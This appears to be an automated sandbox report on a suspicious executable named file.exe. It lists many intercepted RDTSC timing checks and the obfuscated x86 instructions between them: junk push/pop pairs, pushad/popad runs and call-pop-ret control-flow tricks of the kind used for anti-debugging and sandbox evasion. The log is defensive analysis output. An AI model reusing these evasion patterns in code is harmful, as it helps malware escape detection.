Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11991E9 second address: 11991ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11991ED second address: 119923C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D3951h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FECA471BCA8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D35BCh], eax 0x00000032 mov dword ptr [ebp+1244ECEDh], ebx 0x00000038 push 00000000h 0x0000003a mov edi, dword ptr [ebp+122D34EEh] 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119923C second address: 1199242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199242 second address: 119924B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119924B second address: 119924F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A2A9 second address: 119A2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198477 second address: 119847B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A2AD second address: 119A2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FECA471BCAFh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D2510h], edx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D25A0h], eax 0x0000001d push 00000000h 0x0000001f mov di, cx 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007FECA471BCA8h 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A2E4 second address: 119A2F1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B1DA second address: 119B1E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B2B4 second address: 119B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C26A second address: 119C26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B471 second address: 119B47B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F10E second address: 119F118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FECA471BCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F118 second address: 119F16E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edx 0x0000000c mov edi, dword ptr [ebp+122D2C51h] 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 mov ebx, dword ptr [ebp+1246D58Dh] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FECA473F0B8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov edi, dword ptr [ebp+122D38ADh] 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 je 00007FECA473F0B6h 0x00000047 jp 00007FECA473F0B6h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F2B2 second address: 119F2C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F2C7 second address: 119F2CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A58E8 second address: 11A58F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FECA471BCA6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A58F7 second address: 11A5934 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FECA473F0C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FECA473F0C5h 0x00000016 jl 00007FECA473F0B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE0CC second address: 11AE0D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECA471BCACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE371 second address: 11AE38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECA473F0C2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE38D second address: 11AE3FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FECA471BCB8h 0x00000011 jnc 00007FECA471BCA8h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jmp 00007FECA471BCB6h 0x00000020 jnl 00007FECA471BCACh 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c pushad 0x0000002d jmp 00007FECA471BCAFh 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3A7D second address: 11B3A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3A85 second address: 11B3A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FECA471BCA8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CFB1 second address: 113CFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CFB5 second address: 113CFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CFB9 second address: 113CFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CFC3 second address: 113CFC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CFC7 second address: 113CFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B31C4 second address: 11B31C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3425 second address: 11B3444 instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA473F0B6h 0x00000008 jmp 00007FECA473F0C2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3444 second address: 11B3449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3449 second address: 11B344E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B344E second address: 11B3466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCB2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3466 second address: 11B34CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C9h 0x00000009 popad 0x0000000a je 00007FECA473F0C2h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jmp 00007FECA473F0C0h 0x0000001a jmp 00007FECA473F0BBh 0x0000001f pop ecx 0x00000020 jmp 00007FECA473F0C7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B34CE second address: 11B34E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FECA471BCB5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B34E8 second address: 11B34F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3660 second address: 11B3664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B37D8 second address: 11B37E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6BDE second address: 11B6BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11398D1 second address: 11398F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECA473F0CAh 0x00000008 jmp 00007FECA473F0BEh 0x0000000d js 00007FECA473F0B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11398F1 second address: 11398F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9DEA second address: 11B9E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0BCh 0x00000009 pop edx 0x0000000a push ebx 0x0000000b jmp 00007FECA473F0C1h 0x00000010 jmp 00007FECA473F0C1h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182CBA second address: 1182CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183112 second address: 1183118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183118 second address: 118311C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118311C second address: 118318B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 403DA23Fh 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FECA473F0B8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d pushad 0x0000002e sub dword ptr [ebp+122D1D83h], eax 0x00000034 adc ebx, 365FB7DEh 0x0000003a popad 0x0000003b call 00007FECA473F0B9h 0x00000040 push ebx 0x00000041 jmp 00007FECA473F0C8h 0x00000046 pop ebx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push edi 0x0000004d pop edi 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118318B second address: 1183191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183191 second address: 11831D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FECA473F0BFh 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007FECA473F0BEh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118336C second address: 1183373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183B14 second address: 1183B52 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FECA473F0B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FECA473F0C5h 0x00000012 nop 0x00000013 mov di, A00Fh 0x00000017 jmp 00007FECA473F0BCh 0x0000001c push 0000001Eh 0x0000001e mov edx, ecx 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183B52 second address: 1183B58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183B58 second address: 1183B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183E1A second address: 1183E47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FECA471BCAAh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jg 00007FECA471BCA6h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183F54 second address: 1184018 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FECA473F0B8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jc 00007FECA473F0D5h 0x00000028 call 00007FECA473F0C9h 0x0000002d mov edi, 2D06ADB2h 0x00000032 pop edx 0x00000033 mov edx, dword ptr [ebp+122D38F9h] 0x00000039 lea eax, dword ptr [ebp+1247682Fh] 0x0000003f jmp 00007FECA473F0C7h 0x00000044 push eax 0x00000045 jmp 00007FECA473F0C7h 0x0000004a mov dword ptr [esp], eax 0x0000004d mov ecx, dword ptr [ebp+122D39B9h] 0x00000053 lea eax, dword ptr [ebp+124767EBh] 0x00000059 push 00000000h 0x0000005b push esi 0x0000005c call 00007FECA473F0B8h 0x00000061 pop esi 0x00000062 mov dword ptr [esp+04h], esi 0x00000066 add dword ptr [esp+04h], 00000017h 0x0000006e inc esi 0x0000006f push esi 0x00000070 ret 0x00000071 pop esi 0x00000072 ret 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007FECA473F0BAh 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A465 second address: 114A469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A469 second address: 114A46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A46F second address: 114A493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FECA471BCB8h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A493 second address: 114A497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA209 second address: 11BA20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA20F second address: 11BA219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA219 second address: 11BA24D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FECA471BCA6h 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FECA471BCB1h 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007FECA471BCAFh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA68E second address: 11BA6A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0BEh 0x00000007 ja 00007FECA473F0B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA6A9 second address: 11BA6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA471BCB5h 0x00000009 pop ebx 0x0000000a jmp 00007FECA471BCB1h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA988 second address: 11BA98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF32F second address: 11BF335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF335 second address: 11BF33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF33B second address: 11BF36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FECA471BCACh 0x0000000e jne 00007FECA471BCBBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF36A second address: 11BF374 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECA473F0BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF4A9 second address: 11BF4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FECA471BCA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF4B5 second address: 11BF4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FECA473F0B6h 0x0000000a popad 0x0000000b js 00007FECA473F0CCh 0x00000011 jmp 00007FECA473F0C0h 0x00000016 ja 00007FECA473F0B6h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF4E0 second address: 11BF4E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF662 second address: 11BF67B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114BFE6 second address: 114BFFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FECA471BCA6h 0x0000000a jmp 00007FECA471BCADh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57A1 second address: 11C57A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57A9 second address: 11C57C1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FECA471BCA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jl 00007FECA471BCA6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57C1 second address: 11C57D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007FECA473F0BCh 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57D6 second address: 11C57DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57DC second address: 11C57E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5BB7 second address: 11C5BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5E39 second address: 11C5E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5E3D second address: 11C5E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FECA471BCA6h 0x0000000e jl 00007FECA471BCA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C96CA second address: 11C96CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C96CE second address: 11C96D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC676 second address: 11CC67A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC67A second address: 11CC680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC680 second address: 11CC689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC689 second address: 11CC691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
